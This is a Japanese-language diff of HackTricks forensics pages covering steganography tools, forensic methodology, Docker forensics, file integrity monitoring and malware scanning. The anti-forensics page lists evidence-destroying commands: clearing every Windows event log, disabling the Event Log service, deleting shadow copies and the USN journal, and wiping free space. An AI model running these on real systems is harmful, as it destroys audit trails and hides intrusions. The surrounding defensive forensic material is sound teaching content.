**Stegsolve**はさまざまなカラーフィルタを適用して画像内の隠されたテキストやメッセージを表示します。[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)で入手できます。
### **隠されたコンテンツの検出のためのFFT**
高速フーリエ変換FFT技術を使用すると、画像内の隠されたコンテンツを明らかにすることができます。有用なリソースには以下があります
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
* [GitHubのFFTStegPic](https://github.com/0xcomposure/FFTStegPic)
### **オーディオおよび画像ファイル用のStegpy**
Stegpyを使用すると、PNG、BMP、GIF、WebP、WAVなどの形式をサポートする画像およびオーディオファイルに情報を埋め込むことができます。[GitHub](https://github.com/dhsdshdhk/stegpy)で入手できます。
### **PNGファイルの解析のためのPngcheck**
PNGファイルを解析したり、その信頼性を検証するには、
```bash
apt-get install pngcheck
pngcheck stego.png
```
### **画像解析のための追加ツール**
さらなる探求のために、以下を訪れてみてください:
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
* [OpenStego](https://www.openstego.com/)
* [DIIT](https://diit.sourceforge.net/)
## **オーディオからデータを抽出する**
**オーディオステガノグラフィ**は、音声ファイル内に情報を隠すためのユニークな方法を提供します。異なるツールが埋め込みや隠されたコンテンツの取得に使用されます。
### **Steghide (JPEG、BMP、WAV、AU)**
Steghideは、JPEG、BMP、WAV、およびAUファイルにデータを隠すために設計された多目的なツールです。詳細な手順については、[stego tricks documentation](stego-tricks.md#steghide)を参照してください。
### **Stegpy (PNG、BMP、GIF、WebP、WAV)**
このツールは、PNG、BMP、GIF、WebP、およびWAVなど、さまざまな形式と互換性があります。詳細については、[Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)を参照してください。
### **ffmpeg**
ffmpegは、オーディオファイルの整合性を評価するために重要であり、詳細な情報を強調し、不一致を特定するのに役立ちます。
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavStegは、最も重要でないビット戦略を使用してWAVファイル内のデータを隠したり抽出したりするのに優れています。[GitHub](https://github.com/ragibson/Steganography#WavSteg)で利用可能です。コマンドには次のものがあります:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
### **Sonic Visualizer**
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
### **DTMF Tones - Dial Tones**
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
## **Other Techniques**
### **Binary Length SQRT - QR Code**
Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
```python
import math
math.sqrt(2500) #50
```
### **点字翻訳**
点字を翻訳するには、[Branah点字翻訳](https://www.branah.com/braille-translator)が優れたリソースです。
## **参考文献**
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する
</details>

View file

@ -0,0 +1,102 @@
# 基本的な法的解析手法
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを入手します
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
## イメージの作成とマウント
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %}
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
{% endcontent-ref %}
## マルウェア解析
これは**イメージを取得した後に実行する最初のステップではありません**が、ファイル、ファイルシステムイメージ、メモリイメージ、pcapなどがある場合は、これらのマルウェア解析手法を独立して使用できるため、**これらのアクションを心に留めておく**ことが良いでしょう:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
## イメージの検査
デバイスの**法的イメージ**が与えられた場合、**パーティション、使用されているファイルシステム**を分析し、潜在的に**興味深いファイル**(削除されたものさえも)を**回復**することができます。次の方法で学んでください:
{% content-ref url="partitions-file-systems-carving/" %}
[partitions-file-systems-carving](partitions-file-systems-carving/)
{% endcontent-ref %}
使用されているOSやプラットフォームに応じて、異なる興味深いアーティファクトを検索する必要があります
{% content-ref url="windows-forensics/" %}
[windows-forensics](windows-forensics/)
{% endcontent-ref %}
{% content-ref url="linux-forensics.md" %}
[linux-forensics.md](linux-forensics.md)
{% endcontent-ref %}
{% content-ref url="docker-forensics.md" %}
[docker-forensics.md](docker-forensics.md)
{% endcontent-ref %}
## 特定のファイルタイプとソフトウェアの詳細な検査
非常に**疑わしいファイル**がある場合は、**ファイルタイプと作成したソフトウェアに応じて**、いくつかの**トリック**が役立つ場合があります。\
興味深いトリックを学ぶために、次のページを読んでください:
{% content-ref url="specific-software-file-type-tricks/" %}
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
{% endcontent-ref %}
特に以下のページに言及したいと思います:
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
{% endcontent-ref %}
## メモリダンプの検査
{% content-ref url="memory-dump-analysis/" %}
[memory-dump-analysis](memory-dump-analysis/)
{% endcontent-ref %}
## Pcapの検査
{% content-ref url="pcap-inspection/" %}
[pcap-inspection](pcap-inspection/)
{% endcontent-ref %}
## **反法的手法**
反法的手法の可能性を考慮してください:
{% content-ref url="anti-forensic-techniques.md" %}
[anti-forensic-techniques.md](anti-forensic-techniques.md)
{% endcontent-ref %}
## 脅威ハンティング
{% content-ref url="file-integrity-monitoring.md" %}
[file-integrity-monitoring.md](file-integrity-monitoring.md)
{% endcontent-ref %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを入手します
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -0,0 +1,164 @@
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks**https://github.com/carlospolop/hacktricksおよび**HackTricks Cloud**https://github.com/carlospolop/hacktricks-cloudのGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
# タイムスタンプ
攻撃者は**ファイルのタイムスタンプを変更**して検出を回避する可能性があります。\
MFT内の属性`$STANDARD_INFORMATION`および`$FILE_NAME`にタイムスタンプが含まれている可能性があります。
両方の属性には4つのタイムスタンプがあります**変更**、**アクセス**、**作成**、および**MFTレジストリの変更**MACEまたはMACB
**Windowsエクスプローラ**や他のツールは**`$STANDARD_INFORMATION`**から情報を表示します。
## TimeStomp - アンチフォレンジックツール
このツールは**`$STANDARD_INFORMATION`**内のタイムスタンプ情報を**変更**しますが、**`$FILE_NAME`**内の情報は**変更しません**。したがって、**疑わしい活動を特定**することが可能です。
## Usnjrnl
**USNジャーナル**Update Sequence Number JournalはNTFSWindows NTファイルシステムの機能であり、ボリュームの変更を追跡します。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)ツールを使用してこれらの変更を調査できます。
![](<../../.gitbook/assets/image (449).png>)
前述の画像は、ファイルにいくつかの変更が加えられたことが示されているツールの**出力**です。
## $LogFile
ファイルシステムへのすべてのメタデータ変更は、[先行ログ記録](https://en.wikipedia.org/wiki/Write-ahead_logging)としてプロセスに記録されます。記録されたメタデータは、NTFSファイルシステムのルートディレクトリにある`**$LogFile**`という名前のファイルに保持されます。[LogFileParser](https://github.com/jschicht/LogFileParser)などのツールを使用して、このファイルを解析し変更を特定できます。
![](<../../.gitbook/assets/image (450).png>)
ツールの出力でも、**いくつかの変更が行われた**ことがわかります。
同じツールを使用して、**タイムスタンプがいつ変更されたか**を特定することが可能です:
![](<../../.gitbook/assets/image (451).png>)
* CTIMEファイルの作成時刻
* ATIMEファイルの変更時刻
* MTIMEファイルのMFTレジストリの変更
* RTIMEファイルのアクセス時刻
## `$STANDARD_INFORMATION`と`$FILE_NAME`の比較
疑わしい変更されたファイルを特定する別の方法は、両方の属性の時間を比較し、**不一致**を探すことです。
## ナノ秒
**NTFS**のタイムスタンプは**100ナ秒の精度**を持ちます。そのため、2010-10-10 10:10:**00.000:0000のようなタイムスタンプを持つファイルは非常に疑わしいです**。
## SetMace - アンチフォレンジックツール
このツールは、属性`$STARNDAR_INFORMATION`と`$FILE_NAME`の両方を変更できます。ただし、Windows Vista以降では、この情報を変更するにはライブOSが必要です。
# データの隠蔽
NFTSはクラスターと最小情報サイズを使用します。つまり、ファイルが1つのクラスターと半分を使用している場合、**残りの半分はファイルが削除されるまで使用されません**。そのため、このスラックスペースにデータを**隠すことが可能**です。
この「隠された」スペースにデータを隠すことができるslackerなどのツールがあります。ただし、`$logfile`および`$usnjrnl`の分析により、データが追加されたことが示される場合があります:
![](<../../.gitbook/assets/image (452).png>)
その後、FTK Imagerなどのツールを使用してスラックスペースを回復することが可能です。この種のツールは、コンテンツを難読化したり、暗号化したりすることができます。
# UsbKill
このツールは、USBポートに変更が検出されるとコンピューターを**シャットダウン**します。\
これを発見する方法は、実行中のプロセスを検査し、**実行中の各Pythonスクリプトを確認**することです。
# ライブLinuxディストリビューション
これらのディストリビューションは**RAM内で実行**されます。NTFSファイルシステムが書き込み権限でマウントされている場合にのみ、それらを検出することが可能です。読み取り権限のみでマウントされている場合は侵入を検出することはできません。
# 安全な削除
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
# Windowsの設定
フォレンジック調査を困難にするために、Windowsの複数のログ記録方法を無効にすることが可能です。
## タイムスタンプの無効化 - UserAssist
これは、ユーザーが実行した各実行可能ファイルの日付と時刻を維持するレジストリキーです。
UserAssistを無効にするには、2つの手順が必要です
1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`および`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`という2つのレジストリキーをゼロに設定して、UserAssistを無効にしたいことを示します。
2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`のようなレジストリサブツリーをクリアします。
## タイムスタンプの無効化 - Prefetch
これは、Windowsシステムのパフォーマンスを向上させるために実行されたアプリケーションに関する情報を保存します。ただし、これはフォレンジックの実践にも役立ちます。
* `regedit`を実行します
* ファイルパス`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`を選択します
* `EnablePrefetcher`および`EnableSuperfetch`の両方を右クリックし、それぞれの「修正」を選択して、値を1または3から0に変更します
* 再起動します
## タイムスタンプの無効化 - 最終アクセス時刻
Windows NTサーバーのNTFSボリュームからフォルダーが開かれるたびに、システムは**リストされた各フォルダーのタイムスタンプフィールド**である最終アクセス時刻を更新します。使用頻度の高いNTFSボリュームでは、これがパフォーマンスに影響する可能性があります。
1. レジストリエディタRegedit.exeを開きます。
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`に移動します。
3. `NtfsDisableLastAccessUpdate`を探します。存在しない場合は、このDWORDを追加し、その値を1に設定してプロセスを無効にします。
4. レジストリエディタを閉じ、サーバーを再起動します。
## USB履歴の削除
すべての**USBデバイスエントリ**は、Windowsレジストリの**USBSTOR**レジストリキーの下に保存されます。このキーには、PCまたはラップトップにUSBデバイスを接続するたびに作成されるサブキーが含まれています。このキーはここにあります`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。これを削除すると、USBの履歴が削除されます。\
これらを削除したことを確認するために、ツール[**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html)を使用することもできます(および削除することもできます)。
USBに関する情報を保存する別のファイルは、`C:\Windows\INF`内の`setupapi.dev.log`ファイルです。これも削除する必要があります。
## シャドウコピーの無効化
`vssadmin list shadowstorage`でシャドウコピーを**リスト**します\
`vssadmin delete shadow`を実行してそれらを**削除**します
[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)で提案された手順に従ってGUIからも削除できます。
シャドウコピーを無効にするには、[ここからの手順](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)に従います:
1. Windowsスタートボタンをクリックした後、テキスト検索ボックスに「services」と入力して、サービスプログラムを開きます。
2. リストから「Volume Shadow Copy」を見つけ、右クリックしてプロパティにアクセスします。
3. 「起動の種類」ドロップダウンメニューから「無効」を選択し、変更を適用してOKをクリックします。
また、レジストリ`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`でコピーされるファイルの構成を変更することも可能です。
## 削除されたファイルの上書き
* **Windowsツール**を使用できます:`cipher /w:C` これにより、Cドライブ内の未使用ディスク領域からデータを削除するようにcipherに指示されます。
* [**Eraser**](https://eraser.heidi.ie)などのツールも使用できます
## Windowsイベントログの削除
* Windows + R --> eventvwr.msc --> "Windows Logs"を展開 --> 各カテゴリを右クリックして「ログをクリア」を選択
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## Windowsイベントログの無効化
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* サービスセクション内でサービス「Windows Event Log」を無効にします
* `WEvtUtil.exec clear-log`または`WEvtUtil.exe cl`
## $UsnJrnlの無効化
* `fsutil usn deletejournal /d c:`
</details>

View file

@ -0,0 +1,105 @@
# Dockerフォレンジック
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
## コンテナの変更
あるDockerコンテナが侵害された可能性があるという疑いがあります
```bash
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
```
あなたは簡単に次のコマンドで、このコンテナに対して行われた変更をイメージに関して見つけることができます:
```bash
docker diff wordpress
C /var
C /var/lib
C /var/lib/mysql
A /var/lib/mysql/ib_logfile0
A /var/lib/mysql/ib_logfile1
A /var/lib/mysql/ibdata1
A /var/lib/mysql/mysql
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```
前のコマンドで **C****変更** を意味し、**A** は **追加** を意味します。\
もし `/etc/shadow` のような興味深いファイルが変更されていることがわかった場合、悪意のある活動をチェックするためにコンテナからダウンロードすることができます:
```bash
docker cp wordpress:/etc/shadow.
```
あなたは新しいコンテナを実行し、そこからファイルを抽出することで、元のものと比較することもできます:
```bash
docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```
もし**いくつかの怪しいファイルが追加された**ことがわかった場合は、コンテナにアクセスして確認できます:
```bash
docker exec -it wordpress bash
```
## 画像の変更
エクスポートされたDockerイメージおそらく`.tar`形式)が与えられた場合、[**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases)を使用して**変更の概要を抽出**できます。
```bash
docker save <image> > image.tar #Export the image to a .tar file
container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar
```
その後、イメージを**展開**して、**ブロブにアクセス**して、変更履歴で見つけた疑わしいファイルを検索できます。
```bash
tar -xf image.tar
```
### 基本的な分析
イメージを実行して**基本情報**を取得できます:
```bash
docker inspect <image>
```
以下は、変更の要約履歴を取得する方法です:
```bash
docker history --no-trunc <image>
```
あなたはまた、次のようにしてイメージから**dockerfileを生成**することもできます:
```bash
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
```
### Dive
Dockerイメージ内の追加/変更されたファイルを見つけるためには、[**dive**](https://github.com/wagoodman/dive)[**リリース**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)からダウンロード)ユーティリティを使用することもできます。
```bash
#First you need to load the image in your docker repo
sudo docker load < image.tar 1
Loaded image: flask:latest
#And then open it with dive:
sudo dive flask:latest
```
これにより、**Dockerイメージの異なるブロブをナビゲート**して、変更/追加されたファイルを確認できます。**赤**は追加されたファイルを、**黄色**は変更されたファイルを示します。**Tab** キーを使用して他のビューに移動し、**スペース** キーを使用してフォルダを折りたたんだり展開したりします。
これにより、イメージの異なるステージのコンテンツにアクセスできなくなります。それを行うには、**各レイヤーを展開してアクセスする**必要があります。\
イメージのすべてのレイヤーを展開するには、イメージが展開されたディレクトリから次のコマンドを実行します:
```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
```
## メモリからの資格情報
ホスト内でdockerコンテナを実行すると、ホストから`ps -ef`を実行するだけでコンテナで実行されているプロセスを見ることができます。
したがってrootとして、ホストからプロセスのメモリをダンプし、[**次の例のように**](../../linux-hardening/privilege-escalation/#process-memory)資格情報を検索することができます。

View file

@ -0,0 +1,52 @@
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
# ベースライン
ベースラインは、システムの特定の部分のスナップショットを取得して、将来の状態と比較し、変更点を強調することから構成されます。
たとえば、ファイルシステムの各ファイルのハッシュを計算して保存することで、変更されたファイルを特定できます。\
これは、作成されたユーザーアカウント、実行中のプロセス、実行中のサービスなど、ほとんど変更されないか、まったく変更されないはずのものでも行うことができます。
## ファイル整合性モニタリング
ファイル整合性モニタリングFIMは、ファイルの変更を追跡することによってIT環境とデータを保護する重要なセキュリティ技術です。次の2つの主要なステップが含まれます
1. **ベースライン比較:** ファイル属性や暗号ハッシュMD5やSHA-2などを使用してベースラインを確立し、将来の比較のために変更を検出します。
2. **リアルタイム変更通知:** ファイルがアクセスされたり変更されたりするときに、通常はOSカーネル拡張機能を介して即座にアラートを受け取ります。
## ツール
* [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
* [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
# 参考文献
* [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>

File diff suppressed because one or more lines are too long

View file

@ -0,0 +1,164 @@
# マルウェア分析
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details>
## フォレンジックチートシート
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
## オンラインサービス
* [VirusTotal](https://www.virustotal.com/gui/home/upload)
* [HybridAnalysis](https://www.hybrid-analysis.com)
* [Koodous](https://koodous.com)
* [Intezer](https://analyze.intezer.com)
* [Any.Run](https://any.run/)
## オフラインアンチウイルスおよび検出ツール
### Yara
#### インストール
```bash
sudo apt-get install -y yara
```
#### ルールの準備
このスクリプトを使用して、githubからすべてのyaraマルウェアルールをダウンロードしてマージします: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
_**rules**_ ディレクトリを作成して、実行します。これにより、_**malware\_rules.yar**_ という名前のファイルが作成され、すべてのマルウェアのyaraルールが含まれます。
```bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
```
#### スキャン
```bash
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
```
#### YaraGen: マルウェアのチェックとルールの作成
ツール[**YaraGen**](https://github.com/Neo23x0/yarGen)を使用して、バイナリからyaraルールを生成することができます。これらのチュートリアルをチェックしてください: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
```bash
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
```
### ClamAV
#### インストール
```
sudo apt-get install -y clamav
```
#### スキャン
```bash
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
```
### [Capa](https://github.com/mandiant/capa)
**Capa**は、実行可能ファイルPE、ELF、.NETで潜在的に悪意のある**機能**を検出します。Att\&ckの戦術や疑わしい機能などを見つけることができます
- OutputDebugStringエラーのチェック
- サービスとして実行
- プロセスの作成
[**Githubリポジトリ**](https://github.com/mandiant/capa)から入手できます。
### IOCs
IOCはCompromiseのインジケーターを意味します。IOCは、潜在的に望ましくないソフトウェアまたは確認された**マルウェア**を識別する一連の**条件**です。Blue Teamは、これらの定義を使用して、自分たちの**システム**や**ネットワーク**内のこの種の悪意のあるファイルを検索します。\
これらの定義を共有することは非常に役立ちます。なぜなら、コンピューターでマルウェアが特定され、そのマルウェアのIOCが作成されると、他のBlue Teamがそれを使用してマルウェアをより迅速に特定できるからです。
IOCを作成または変更するためのツールは[**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**です。**\
[**Redline**](https://www.fireeye.com/services/freeware/redline.html)などのツールを使用して、デバイス内で定義済みのIOCを検索できます。
### Loki
